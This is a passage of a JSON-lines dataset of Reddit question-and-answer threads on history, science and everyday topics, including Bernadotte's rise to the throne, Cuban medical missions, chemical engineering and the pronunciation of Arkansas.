private in 1941. By February 1942, he had been promoted to Sergeant, in Winter of 1943 he helped stop an encirclement of German troops and was promoted to commander of the Walloon unit. He was given numerous decorations and high praise by Hitler. \n\nAlso, some of the Nazi generals were given high ranking commands simply by being loyal to Hitler. sepp dietrich was given command of two Panzer armies, despite having very little command experience, and starting out as Hitler's bodyguard and enforcer.  ", "The French Revolution and First Empire probably give you the most examples. Mass\u00e9na, Murat, Ney, Soult and Lannes were all enlisted men who rose to the Rank of Marshal.\n\nBut the most complete rise in history must be Jean Bernadotte, he enlisted in 1780 as a private soldier in the pre-revolutionary French marines, was stationed in Corsica and was made a sergeant in 1788.   In 1790 he faced down a mob in Marseille to protect his colonel. At the end of 1791, he received a commission as a lieutenant. \n\nHe fought throughout most of the major battles of the Flanders campaign in 1793-95 ending up a g\u00e9n\u00e9ral de division and the military governor of Maastricht. He then came under the command of Napoleon during the campaign in Italy in 1797, and married D\u00e9sir\u00e9e Clary, whose sister was married to Napoleon's brother Joseph. \n\nAfter Napoleons rise to power he held a series of important civil, diplomatic and military posts and became a Marshal of the Empire in 1804. As a reward for his services at the Battle of Austerlitz he was made the 1st Sovereign Prince of Ponte Corvo. \n\nHe was then (somewhat unexpectedly) elected as the Crown Prince, Regent and heir apparent to the throne of Sweden. He Joined the coalition against France in 1813, defeated Norway in 1814 and became Charles XIV John in Sweden and Charles III John in Norway in 1818. \n\nThe 'House of Bernadotte' are still the current royal house of Sweden. And Bernadotte remains probably the only European crowned head of state to have 'MORT AUX ROIS' or 'death to all kings' tattooed on his arm.", "\nI've removed this as a \"[throughout history]( _URL_0_)\" question: all you're getting here is trivia about individual people who rose through the ranks, and no analysis about whether it was common practice.\n\nIt's this text which makes it a \"throughout history\" question:\n\n >  I'd be more interested in 19th - 20th century(inclusive) **examples** but I'd also be very happy with answers pertaining to **any part of history**.\n\nWhat, exactly, are you trying to learn? \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/all-for-the-union-the-civil-war-diary-and-letters-of-elisha-hunt-rhodes/oclc/23049113&amp;referer=brief_results", "http://en.wikipedia.org/wiki/Elisha_Hunt_Rhodes"], [], [], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions"]]}
{"q_id": "1bex4m", "title": "why does android suffer from audio latency?", "selftext": "Also, why aren't there any good apps like FL Studio, Maschine,  etc", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bex4m/why_does_android_suffer_from_audio_latency/", "answers": {"a_id": ["c969695"], "score": [6], "text": ["For your second question,there is more money in iOS development,that's why."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1f4yyc", "title": "Are there any psychological effects of living in the polar regions, under 6 months of sunlight/darkness?", "selftext": "I've known people who've lived in northern Scandinavia and, being originally from Mediterranean countries, cannot handle living 6 months with no sunlight. Is this a common affliction?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f4yyc/are_there_any_psychological_effects_of_living_in/", "answers": {"a_id": ["ca71ecv"], "score": [4], "text": ["SAD - Seasonal Affective Disorder"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2c9ak5", "title": "How did the modern day hiring process of application + resume, then interview, become commonplace?", "selftext": "I've been looking for a job recently, and yesterday it dawned on me how specific the process seems to be.  Look for a job, turn in a resume and application, have an interview, cross your fingers.  But it couldn't have always been that way.\n\nI assume that manual labor jobs, like farming, probably hired whoever could do the work.  But when did jobs like grocers and bankers start asking for applications?  Was there any historical precedent for an application or resume?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2c9ak5/how_did_the_modern_day_hiring_process_of/", "answers": {"a_id": ["cje045q"], "score": [7], "text": ["{edited to clean up typos}\n\nCertainly, there have been personnel selection techniques forever (didn\u2019t the traditional Chinese civil service exams go back to the 7th century?).  However, personnel selection as we know it today is largely a 20th century invention.\n\n\nFirst of all, the idea of a \u201cjob\u201d that people \u201capply\u201d for is relatively recent, dating basically to the Industrial Revolution.  And, in the early factories, jobs were simple, required little training, and management problems were pretty much limited to coercing workers to show up for 12 hour shifts, standing in front of a loom or spinning frame, every day.  This problem was, in part addressed by hiring people with few expectations and who were easily coerced \u2013 that is, women and children.  For more skilled positions (supervisors, mechanics), one common solution was to hire relatives.\n\n\nWe do see the beginnings of formal recruitment systems as early as the beginning of the 19th century.  For example, the Waltham system of textile manufacturing used young women [1], who were recruited from rural New England by travelling agents.\n\n\nThe idea of actually selecting the right person for each job is attributed to the early industrial psychologist Hugo M\u00fcnsterberg (1863-1912).  In his 1913 book (obviously posthumous publication), *Psychology and Industrial Efficiency*, he discusses the necessity for both describing jobs and their requirements and selecting \u201cThe Best Possible Man\u201d for each job.\n\n\nSo, by the early 1900s, there was a distinct idea floating around that the traditional haphazard methods of selecting employees did not contribute to industrial efficiency, but rather detracted from it.  I cannot resist quoting from one of my personal heroes, Lillian Gilbreth:\n\n\n > **Selecting Workers Under Traditional Management.** \u2014 In selecting men to do work, there was little or no attempt to study the individuals who applied for work. The matter of selection was more of a process of \"guess work\" than of exact measurement, and the highest form of test was considered to be that of having the man actually tried out by being given a chance at the work itself. There was not only a great waste of time on the work, because men unfitted to it could not turn it out so successfully, but there also was a waste of the worker, and many times a positive injury to the worker, by his being put at work which he was unfitted either to perform, to work at continuously, or both.\n\n\n > In the most progressive type of Traditional Management there was usually a feeling, however, that if the labor market offered even temporarily a greater supply than the work in hand demanded, it was wise to choose those men to do the work who were best fitted for it, or who were willing to work for less wages. It is surprising to find in the traditional type, even up to the present day, how often men were selected for their strength and physique, rather than for any special capabilities fitting them for working in, or at, the particular line of work to be done.\n\n\nShe goes on to recommend:\n\n\n > **Method of Selection Under Ultimate Management.** \u2014 Under Ultimate Management, the minds of the workers, \u2014 and of the managers too, \u2014 will have been studied, and the results recorded from earliest childhood. This record, made by trained investigators, will enable vocational guidance directors to tell the child what he is fitted to be, and thus to help the schools and colleges to know how best to train him, that is to say, to provide what he will need to know to do his life work, and also those cultural studies that his vocational work may lack, and that may be required to build out his best development as an individual.\n\n\n > It is not always recognized that even the student who can afford to postpone his technical training until he has completed a general culture course, requires that his culture course be carefully planned. Not only must he choose those general courses that will serve as a foundation for his special study, and that will broaden and enrich his study, but also he must be provided with a counter-balance, \u2014 with interests that his special work might never arouse in him. Thus the field of Scientific Management can be narrowed to determining and preparing standard plans for standard specialized men, and selecting men to fill these places from competent applicants.\n\n\n > What part of the specialized training needed by the special work shall be given in schools and what in the industries themselves can be determined later. The \"twin apprentice\" plan offers one solution of the problem that has proved satisfactory in many places. The psychological study should determine through which agency knowledge can best come at any particular stage of mental growth.\n\n\n > **Effect on Workers of Such Selection.** \u2014 As will be shown at greater length under \"Incentives,\" Scientific Management aims in every way to encourage initiative. The outline here given as to how men must, ultimately, under Scientific Management, be selected serves to show that, far from being \"made machines of,\" men are selected to reach that special place where their individuality can be recognized and rewarded to the greatest extent.\n\n\n > **Selection Under Scientific Management To-day.** \u2014 At the present day, the most that Scientific Management can do, in the average case, is to determine the type of men needed for any particular kind of work, and then to select that man who seems, from such observations as can be made, best to conform to the type. The accurate knowledge of the requirements of the work, and the knowledge of variables of the worker make even a cursory observation more rich in results than it would otherwise be. Even such an apparently obvious observation, as that the very fact that a man claims that he can do the work implies desire and will on his part to do it that may overcome many natural lacks, \u2014 even this is an advance in recognizing individuality.\n\n\nBy the late 1920s and early 1930s, the selection procedure as we know it today \u2013 application, interview, possibly testing, was seen as the standard of practice for well-run organizations.  Writing in 1932, Morris Viteles (an important figure in the history of psychology), took it for granted that the modern organization would use an application form, conduct interviews and test applicants.\n\n\n[1] The advantage of using these young rural women was that they were accustomed to tight control by their parents.  Moreover, working conditions were less of an issue, since these women usually did not plan to work any longer than necessary to accumulate savings for marriage or to pay for a brother\u2019s education.  Not that working conditions were not horrible and not that there were no protests, of course.\n\n\nSources:\n\n\nGilbreth, Lillian Moller.  (1914). *The psychology of management*. Retrieved from _URL_0_\n\n\nMcCormick, Ernest  J.  &  Tiffin, Joseph. (1974).  *Industrial psychology* (6th edition).  Englewood Cliffs, NJ: Prentice-Hall.\n\n\nViteles, Morris S. (1932).  *Industrial psychology.*  New York: W. W. Norton.\n\n\nWren, Daniel A. (1994). *The evolution of management thought* (4th edition).  New York: John Wiley.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["Gutenberg.org"]]}
{"q_id": "zrc37", "title": "the job of a chemical engineer", "selftext": "I have been to so many talks about chemical engineering at universities, but none of them have definitively explained what they actually do, they always talk about the study side rather than the actual job and all the web pages are in another language to me. Could someone please explain? \n\n[EDIT]: thanks to everyone who answered, it all helped they really should get someone in who's actually worked in the field to talk at uni talks. Thanks guys :) ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zrc37/eli5_the_job_of_a_chemical_engineer/", "answers": {"a_id": ["c6736cq", "c673ozx", "c673t4x", "c674w1g", "c67cg5p"], "score": [2, 9, 7, 3, 2], "text": ["I'm just a student in chemical engineering, but I'm currently at a coop (3 semester paid internship) at a company, so I can give you something of what we do.\n\nRight now, I'm just doing environmental grunt work. I'm going around getting water samples from the ponds, the cooling water condensers, as well as reactor slurry so I can run tests on them. How much of our product is in the slurry, what nutrients are in the pond water, what residue is in the cooling water, etc. Then, the senior engineer and I look at the data and try to figure out if it's working at optimal capacity. Part of the senior engineer's job is to, if things are not running optimally, figure out ways to MAKE it run optimally. In my time here, I have been part of numerous tests and experiments for making the operations here run smoother. Different anti-static materials for the slurry. Reducing steam flow in the processes that run in the plant. Things like that.\n\nFrom what I understand, in my limited field experience, chemical engineers are troubleshooting entire processes and trying to think of ways to make it better. ", "Well, I'll tell you my experience.  I graduated with a ChemE degree 3 years ago, and I am currently working with lithium ion battery technology.  I spent 2 1/2 years in reasearch and development, which was much more chemistry focused than engineering, and have moved to a more process engineering position this year, which basically is looking over all of electrode manufacturing for the batteries.  I feel like I was prepared for both jobs with a ChemE degree.\n\nIf I had to summarize chemical engineering I would probably say: thermodynamics and design.  Thermodynamics is the transfer of energy in all of it's forms, and design is basically familiarizing yourself with processing equipment and how to use it and trying to improve processes to increase yield/efficiency.\n\nI feel like the major is very flexible and can be used in many different areas.  Oh, and it is difficult.", "I understand your pain. When I was determining my engineering discipline, I was also confused on the exact definition of a chemical engineer. The reason why so many sites/books/other sources are so vague is because a chemical engineer can be applied in many, many areas.\n\nWhen I explain my responsibilities as a chemical engineer to non-engineering personnel, I put it like this:\n\nYou are a chemist and you are attempting to find a new wonder chemical for your company. Through laboratory trials (similar to labs conducted in high school/college), eventually you reach a final, desired product. However, you have only produced about 10 mL of the product, because of the limitations incurred by  **the laboratory  setting.**\n\nNow, your boss comes to you and says he wants to make money off of this new product. He calls in a chemical engineer. The chemical engineer is not necessarily as astute as you in the field of chemistry, but has a **solid fundamental understanding** of what you did in your lab trials. His knowledge is centered around macro-phenomenon. The engineer takes you notes/procedures/observations, and attempts to scale up production by 100 fold through macro-processes that he/she learned in school. \n\nIdeally, your wonder chemical produced by the engineer has the exact same properties found in the laboratory, but is now being produced at 1000 kg/hr, making the company enormous amounts of money.\n\n**TL;DR: Chemical engineers take micro-processes and scale them up to full production.**", "ChemE is situated at the interface between the fundamental sciences like biology/chemistry/physics and couples it with what we traditionally refer to as \"engineering\" like computer sciences, material sciences, electrical/mechanical/civil engineering, etc.   \n\n**NOTE, the following is all GROSSLY simplified...**\n\nSimilar to SPE_Shamecranker's TL;DR, chemE's will take a micro/lab scale process and scale it up.  The design and specification of this scale-up can be conceptualized by the chemE, but the mechanicals will typically step in at this point to iron out the nitty gritty details with regard to the piping, valving, pumping, fans, safety, emergency water, etc.  The electricals will make sure all the equipment and components have sufficient power.  The civils will lay out the foundations, support steel, and loading. \n\nLet's make some sugar from corn (start of the ethanol-making process):\n\n* **Corn + Enzymes = a simple sugar (dextrose)**\n\n* Sugar + Bacteria + no oxygen = anaerobic digestion = alcohol + acids + CO2\n\n* Distillation = separation of alcohol and stuff\n\n**ChemE** - Calc out amount of corn, water, and enzymes required to yield the necessary amount of sugar necessary to make X volume of ethanol. Answer questions:  How big does this reactor tank need to be? How much volume should it handle? Is this a batch reactor...continuous? What are the densities of the mixtures at various stages of the reaction process?  What sort of effects will these reactions have on overall temperature/pressure? How is the pH be controlled and how should it be added to the reactor? What materials of construction can tolerate these chemical additives and the sludge in this reactor tank? How long does this mixture have to bubble around in the tank? Where should this tank be emptied from, top or bottom of tank? At what volumetric flow rate? And so on...\n\n**MechE** - Let's size out this reactor tank. We need capacity for how much volume?  The materials of construction that the ChemE decided, does it have the structural integrity at the sizes requested? What type of pipes will be needed to handle the amount of reagents necessary? What size piping? How many and what type of elbows, expansion joints, valves, pressure relief points, etc? Centrifugal or PDP pumps to transfer these materials? Is equipment cooling necessary? HVAC required? And so on...\n\n**CivE  &  StructE** - How heavy is this fucking tank? Is the existing foundation okay? What material - concrete? metal grating? How will these pumps, fans, and tanks be fastened? How will the vibrations/movements of this reactor and associated processes affect nearby equipment and the integrity of the foundation/building? Structural/support steel necessary? And so on...\n\n**EE  &  CompE** - POWER!!!!! How to control this whole mess with computers? \n\nEverybody will of course get together and decide safety concerns like manual and automatic shut offs, fail close/fail open details, access for operators, etc.  \n\n*Engineering: One big close-knit family where each discipline acts like an only child.*", "Chemical Engineers are chemists who use their knowledge of chemistry to do practical science, the outcome of which generally being new, real-world, industrially useful technology or processes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "bnrfv4", "title": "why do people write see id on the back of their cards?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bnrfv4/eli5_why_do_people_write_see_id_on_the_back_of/", "answers": {"a_id": ["en8ggco", "en8gh01", "en8gl8b", "en8glwn"], "score": [15, 10, 3, 5], "text": ["This is in response to fears that thieves can steal your credit card and try to use it themselves.   It instructs the merchant or waitstaff to ask for ID to make sure the card is indeed yours.\n\nAn acquaintance did this, and he says not many waitstaff notice it and ask, but some do.", "They think it\u2019ll help prevent identity theft because the cashier will ask for id before allowing the transaction to go through.   Now a days with swiping/inserting cards yourself, or tapping them, it\u2019s fairly outdated. \n\n(Not to mention if they didn\u2019t have ID or refused to show it, cashiers usually don\u2019t know how to proceed. We aren\u2019t trained to prevent identity theft like that.)\n\nIn my experience, the times I would actually ask for ID, the person would usually become angry at the \u201cinconvenience of it\u201d and huff at me as they handed over their ID. I usually just didn\u2019t ask because it wasn\u2019t worth the possibility of being yelled at by customers for following THEIR OWN instructions.", "When you use your credit card, that signature panel is to attempt to increase security. People write \u201cSee ID\u201d in hopes that the waiter or salesperson will check the ID to make sure that no one else is using their credit card, because the person using their card will be them, and have a driver\u2019s license with the same name as on the credit card.", "Before chip software, you would sign the back so that, hopefully, the cashier would check the card signature vs the signature provided on the receipt.\n\nBy putting SEE ID, the cashier will, again hopefully, not only confirm the signature from the License, but also the identity via the name and picture."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "tll2y", "title": "Does an animal know when humans are naked?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tll2y/does_an_animal_know_when_humans_are_naked/", "answers": {"a_id": ["c4nph4w", "c4npkq0", "c4npv7y", "c4nqkiw"], "score": [207, 12, 7, 4], "text": ["A better question might be: Are animals confused by our constant changing of clothes?", "I think you should probably clarify \"animals\" or at least expect answers regarding different animals.\n\nThere's probably a good chance that some apes would know, and may even be able to dress/undress themselves to some extent if trained. There's also the reports of Koko the gorilla \"pressuring\" women into exposing their breasts (through her translator, I guess) - if that's true then I guess she understands that something is going on there at least.\n\nBut your pet tortoise? Probably not :P", "One possible approach to this question would be investigating how animals treat clothing. For examples, dogs are known to take an interest in clothing, both positively and negatively. \n\nI think one could easily train a dog to separate clothing based on who it belonged to (assuming that it was recently worn), which gets us close to your question, but not all the way there.\n\nIf one could train a dog to respond to the command 'clothing' by bringing me clothes if I were naked or helping me take mine off if I weren't, would that satisfy you? [Assistance dogs](_URL_0_) already do something along these lines.\n\nThe real trick to this type of question revolves around the difficulty of knowing what an animal understands and what it doesn't. I'm not entirely certain that being able to reproduce complex behaviors implies an underlying understanding. \n\nIn other words, I don't think it would be difficult to train a dog to behave in such a way that you would believe it understands your state of nakedness.", " > In flocks, albinos are often harassed by their own species. Such observations have been made among red-winged blackbirds, barn swallows, and African penguins. In a nesting colony of the latter, three unusual juveniles\u2014one black-headed, one white-headed, and one full albino\u2014were shunned and abused by companions.[4]\n_URL_0_\n\n\nMaybe being naked would be viewed as some sort of deficiency? (As though your fur/feathers all fell off)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.adai.org/needdog/"], ["http://en.wikipedia.org/wiki/Albinism_in_birds#Alibinism"]]}
{"q_id": "bzc0nr", "title": "Since the 1960's, Cuba has been sending well-trained doctors around the world to help other countries. How were they able to accomplish this with a relatively poor economy?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bzc0nr/since_the_1960s_cuba_has_been_sending_welltrained/", "answers": {"a_id": ["eqsitwz"], "score": [171], "text": ["Adapted from an earlier answer of mine.\nThe focus is less on the Cuban economic situation (which I'm less familiar with) and more on why the Cuban international missions proved a durable strategy, with a focus on Angola.\n\n\n\nFrom the start, Cuba's military interventions were accompanied by social contributions, also drawing on the experiences of the extensive inner-Cuban literacy and medical campaigns that began shortly after the revolution. F. Castro had spoken out against the perils of illiteracy as early as 1953, and initiated a national literacy campaign in 1961. While official figures have to be treated with caution, we know that the 8-month long campaign was a success, and led to UNESCO declaring the country free of illiteracy. Another point to keep in mind here is Cuba's tactic of international solidarity, which could mean military aid esp. in the 60s' and 70s', but also and increasingly after the fall of the Soviet Union a form of \"medical diplomacy\". Humanitarian missions were meant to improve Cuba's foreign relations. With the end of the Soviet Union, then Cuba's main economic and military supporter, there was a marked shift from military to humanitarian interventions, with Cuba's foreign troops returning home. \n\nI won't go into detail here because of the 25 years rule, but a few years ago around 35,000 Cubans were still occupied in more than 70 countries in various fields. On the one hand, we have cases of Cuba gaining new allies through emergency aid (as in Honduras), and of medical exchanges connected to economic advantages, as with Venezuelan oil payments. On the other hand, it seems difficult not to see a motivation of solidarity and cooperation at play in these large-scale actions, as with the medical school ELAM which educates international students mostly free of charge, in order to let them use this knowledge in their home countries - also strengthening Cuba's prestige e.g. in Latin America and Africa.\n\nDuring the campaign in Angola, the Cuban-Angolan cooperation was the basis for the construction of governmental structures and of national education there, employing around 50,000 Cuban civilians until 1991 and thereby strengthening the MPLA's position. I'm going into this Angolan example some more below to show how especially educational aid could function, as well as its limitations - hopefully as a useful parallel to your question on medical aid, which would often (but not always) be used in tandem.\n\n\u200b**Cuban education in Angola**\n\nIn a fascinating book on the topic (\"*Kubaner in Angola: S\u00fcd-S\u00fcd-Kooperation und Bildungstransfer 1976-1991*\"), Christine Hatzky talks of \"South-South cooperation\", highlighting how two non-Western countries worked together in times of the Cold War -- both in order to further their own goals. Turning to Angola: From the early 1960's opposition to the Portuguese colonial regime had started forming. Following the military coup in Portugal 1974, there started the war for independence between various native movements. In 1975 the Angolan MPLA declared independence, backed by the USSR and Cuba. This led to a decades-long civil war with another liberation movement called UNITA until 1991, but continuing afterwards, who had South African (and at some point indirect US) backing.\n\nAlready during the conflict for independence, cooperation between Cuba and Angola constituted a main basis for the construction of political structures in post-colonial Angola. The educational cooperation also meant that methods for stabilising rule were brought from Cuba to Angola, serving to strenthen the MPLA's predominance. The construction of a nation-wide public educational system was an important addition to this tactic -- it was made possible through the employment of thousands of Cuban teachers and pedagogues. It was the biggest civil foreign mission of Cuba until 1991, spanning ca. 50.000 civilians in total, and ca. 10.000 active in education.\n\nBoth powers followed their own political interests in this educational policy in a relatively equal way, without direct interference by the Cold War powers. On the other hand, the Angolan government often made demands on Havana. Angola had a certain leverage due to their financing of the civilian mission, which was kept secret by Havana even from the civilians themselves. Because of this the mission \"based only on solidarity\" as propagated by the Cuban government has to be challenged -- we rather see a direct support of the MPLA, from which Havana profited directly. In the end, the commonly proclaimed goals of the creation of a socialist Angola were not realized, as the MPLA started applying stronger capitalist policies from the 80s onwards.\n\nNow for some more details on the educational policies: The Cuban civilans supported administration and control of the territories claimed by the MPLA. However, due to the mission's large scale the indigenous development of an Angolan educational system was strongly disrupted. For one, not enough Angolan teachers were educated.\n\nOn the one hand the comparatively innovative pedagogical measures taken by Cuban teachers helped to overcome the colonial educational system. On the other hand this was relativized through internal rules: Thus the teachers' work was only measured by the succesfull holding of exams, not by a sustainable transmission of knowledge. One exemption can be mentioned, the formation of a small but very influential Angolan elite, connected to their education in Angola and in Cuban boarding schools.\n\nVarious factors have to be taken into account when talking of a 'failure' of the educational cooperation. First and foremost, it took place during times of civil war, in addition to major South African military interventions. These military conflicts strongly disrupted an literacy campaign (modeled on  the Cuban experience). They also meant that many of the Cuban civilians employed in Angola were traumatised by their time in the country -- something not discussed publicly in Cuba until now. The official Cuban discourse rather highlights the military successes esp. after 1991 - including the decisive Cuban assistance during the huge Cuito Canavale battle, which rebuffed South African involvement in the civil war, and is a reason why Cuba was/is seen as an influence on the end of apartheid in independent South Africa..\n\nIn truth, the small advances made in Angolan education, infrastructure, administration and medicine due to Cuban civil aid were destroyed since the mid '80s by the opponents of war. Until 1992 the Cuban civilians were gradually recalled. One major consequence for Cuba was the professionalisation and economisation of international solidarity, esp. through the building of administrative structures in Angola but also in Cuba itself -- influencing later Cuban humanitarian missions.\n\n---------\n\n**Coming back to your question:** at least for the discussed fields of medical and educational aid, these were strongly tied to Cuban advances made after the revolution. Especially the large scale literacy campaign; and the strong focus on medical education and medical campaigns (including vaccinations and cataract surgery) in Cuba. Cuba could then (and still does) build on these advances in order to \"export\" their expertise as a medical diplomacy - both to gain economic benefits in return, and tied to the ideology of solidarity. These measures have become more important since the fall of the Soviet Union and the end of Soviet military and economic assistance, with such diplomacy providing benefits including oil and allies.\n\n-----------\n\nIncreasingly by the 80s/early 90s, the military missions were seen as less successful than the non-military aid (excluding Cuito Canavale) - with e.g. Che Guevara's doomed Congo mission in the 60s.\nI didn't go into more detail so far on the many main cases of Cuban \"medical diplomaty\" because they mostly fall outside of the 25 years rule, so will just add a bit on those since they seem relevant to the question - they can generally be considered much more successful than the Angolan case. For a few more numbers, since 1960 about 130.000 Cubans have participated in international missions, to places including Guatemala, Pakistan, Bolivia, Indonesia, Beliz, Peru, Mexico, Ecuador, China, El Salvador and Chile for desaster aid. In those 50 years of medical cooperation, more than 85 million patients were treated.\n\nJust to add a more current example, the well-known 'Operacion Milagro' ran in Venezuela from 2005. With the comparatively simple and cheap cataract operations, it's made possible for people to read (again) on a large scale. A different example is the literacy campaign in Bolivia run from 2006 - 2008 with the help of Cuban teachers. Such actions can boost Cuban presitige in these countries in Latin America, but also in Africa and increasingly in Asia, as mentioned above. Just to note that I studied this a few years ago, so there might be changes to these programs under the current government. \n\n-----------\n\n**Sources:** \n\n* Hatzky's book was recently translated into English as \"*Cubans in Angola. South-South Cooperation and Transfer of Knowledge, 1976-1991. University of Wisconsin Press, Madison 2015.*\"\u200b\n\n* Kumaraswami, Par (ed.), Rethinking the Cuban Revolution Nationally and Regionally: Politics, Culture and Identity, Chichester 2012.\n\n* P\u00e9rez, Jr., Louis A., Cuba Between Reform and Revolution, Oxford 2010.\n\n--\n\n*Edit*: Spelling (\"literacy\")"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35mafy", "title": "how are security vulnerability found for jailbreaking ios?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35mafy/eli5_how_are_security_vulnerability_found_for/", "answers": {"a_id": ["cr5uc16"], "score": [4], "text": ["One can try to look at the source code if it is available, or to decompile, but it is mostly done by \"fuzzing\", which consists in sending random data to the device, and looking for an anormal response from the device, which may (not always the case) then be exploited to gain root access.\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "497bqo", "title": "why is arkansas pronounced differently than kansas?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/497bqo/eli5_why_is_arkansas_pronounced_differently_than/", "answers": {"a_id": ["d0pko3d", "d0pkq9h", "d0plvug", "d0plyev", "d0plzos", "d0pm0k4", "d0pm3zb", "d0pm5jt", "d0pmr9q", "d0pmrct", "d0pn7zl", "d0pn9du", "d0pnd0i", "d0pnjl7", "d0pnqxa", "d0pnsec", "d0po86k", "d0pob6b", "d0podm7", "d0pp7gm", "d0pp8lr", "d0pp975", "d0ppz1p", "d0pqaad", "d0pqgf9", "d0pqhpt", "d0pqocq", "d0pqrf1", "d0pqrmc", "d0pqz0n", "d0pr4mk"], "score": [2, 1009, 18, 36, 12, 6, 103, 12, 4, 9, 7, 2, 5, 3, 19, 11, 2, 2, 2, 2, 3, 9, 3, 2, 2, 3, 2, 2, 2, 3, 2], "text": ["Because English is such a difficult language.  Just another quick example:\n\nthrOUGH.\n\nthOUGH.\n\n\ntOUGH.\n\nEdit:  spelling", "In general, word origins aren't governed by some sort of pronunciation police force, and languages have a tendency to drift among various population groups. All it takes is an explorer running into one group that pronounces it \"-aw\" and taking that pronunciation back with them to educate their own population, and the different term can stick.\n\nTo be specific, you have to look at the etymology (history) of the two words. Sometimes there are solid clues there, sometimes the event that caused the pronunciation isn't precisely spelled out. \n\nKansas \n\n > Siouan people of the American Midwest, 1806, from French, a variant of Kansa (itself in English from 1722), from /kk\u00e1:ze, a Siouan term referring to members of the Dhegiha branch of the Siouan family. The Siouan word is a plural. Established as a U.S. territory in 1854 and named for the river, which is named for the people; admitted as a state 1861. \n\nPerhaps the Siouan word's plural nature helped keep it with the \"ending in -s\" pronounciation.\n\nArkansas\n\n >  organized as a U.S. territory 1819 (admitted as a state 1836), named for the Arkansas River, which was named for a Siouan tribe.\nThe spelling of the term represents a French plural, Arcansas, of a name applied to the Quapaw people who lived on the Arkansas River; their name was also written in early times as Akancea, Acansea, Acansa (Dickinson, 1995). This was not the name used by the Quapaws themselves, however. The term /akansa/ was applied to them by Algonquian speakers; this consists of /a-/, an Algonquian prefix found in the names of ethnic groups, plus /kk\u00e1:ze, a Siouan term refering to members of the Dhegiha branch of the Siouan family. This stem is also the origin for the name of the Kansa tribe and of the state of Kansas; thus the placenames Arkansas and Kansas indirectly have the same origin. \n\nThe latter term is derived from 'akansa', so perhaps the arkan-saw ending which sounds more like it came to be the standard.", "because your language is retarded regarding spelling/pronunciation\n\nsincerly\n\nyour non native english speaker being tortured by your vocabulary\n\nEdit: i seriously made some of you guys angry, too fun what people can get mad about.\nanyways, just to clarify, i am speaking german and its a very phonetic language (meaning things are mostly written as they are spoken)", "People in Arkansas City, KS pronounce it \"Ar-Kansas\" City.  It always pissed me off growing up, and in general made me despise that town; besides the fact that it's a giant shithole.\n\nEdit: Oh, yeah, and the Arkansas River also magically becomes the Ar-Kansas as it flows between CO and OK.", "I remember in Huckleberry Finn, a book written in the late 1800s, the state is spelled Arkansaw. Perhaps the modern spelling came after the pronunciation based on \"Arkansaw\".", "Throwback to when I was sat in history and in front of a lecture theatre of people proudly called it arkansas", "Arkansas received its name first. So this should be titled \"why is kansas pronounced differently than Arkansas\" Boom. Drop the mic\n\n", "The way Arkansas is said is heavily influenced by the way French is pronounced and the way Kansas is said is heavily pronounced by the way English is pronounced. There are also a large number  French place names in Arkansas.\n", "It's the French pronunciation of a native american tribe.  You're not alone in your ignorance here: _URL_0_", "Being from Missouri, I hear the \"Missouri-ee\" and \"Missouri-uh\". I can't stand the \"uh\". You sound so damn stupid and even our governor pronounces it that way. When does an I make that sound anywhere else?!", "There is some gold to be made from promoting the legend that once they were the same state, but some folks decided to leave the state of Kansas, and they formed \"Our Kansas\". Over time, their regional dialect, and general lack of spelling skills gave ended in the state of Arkansas. To this day, some people in Arkansas refer to Kansas as \"Yerkansas.\"", "And why do I get berated when I pronounce Madrid and Madrid wrong? Nevada and Nevada? (I'm in Iowa)", "If you think thats bad just wait until you come to the UK..\n\nSuffolk = Suffek, but Southwark = Suthek, Thames = Tems, etc", "Actually its the other way around, arkansas came forst, so you should say arkansaw and kansaw.\n\n", "To me (a foreigner) it sounds like a similar thing to:\n\nfinite - infinite\n\nfamous - infamous\n\nThose words also get a different pronunciation when the in- gets put in front of it. I think something to do with what syllable is stressed.", "I have nothing to contribute except that in early U.S. maps, it use to be spelled Arkansaw.", "The question really should be \"why is Kansas is pronounced differently than Arkansas?\" Arkansas entered statehood 25 years before Kansas. ", "Isn't the question ; Why are they spelled the same way ?\n", "On a random note, this thread kinda makes me feel good to know I'm not the only arkansan that gets on Reddit. Thanks guys ", "Welcome to English my friend - I cannot express how fortunate I feel being raised with the language so I didn't have to learn it later lol", "There was a sect of the Quapaw that lived in what is now the state of Arkansas.  The Algonquians and surrounding tribes referred to them as the \"Akansa.\"  In native tongue, this was most definitely prounounced, \"Arkansaw.\"  The explorers at the time were French, hence the silent \"s\" at the end of the modern spelling. ", "Because English is a messed up language and follows rules from a whoooooole bunch of languages. Case in point, a conversation I just had with my 4 year old son:\n\n\nSon: Daddy, did you know Ironman starts with \"I\"?\n\nMe: That's right! Do you know what comes after \"I\"?\n\nSon: ...\n\n...\n\n...yurn?\n\nMe: ...close enough.", "Withot going into the word origin... the two senators when Arkansas was about to become a state disagreed on the pronunciation and spelling. One wanted it to be Arkansas (pronounced like ar-kun-sauce), and the other wanted it to be Arkansaw (pronounced ar-kun-saw). Eventually, they worked out a compromise where it was spelled 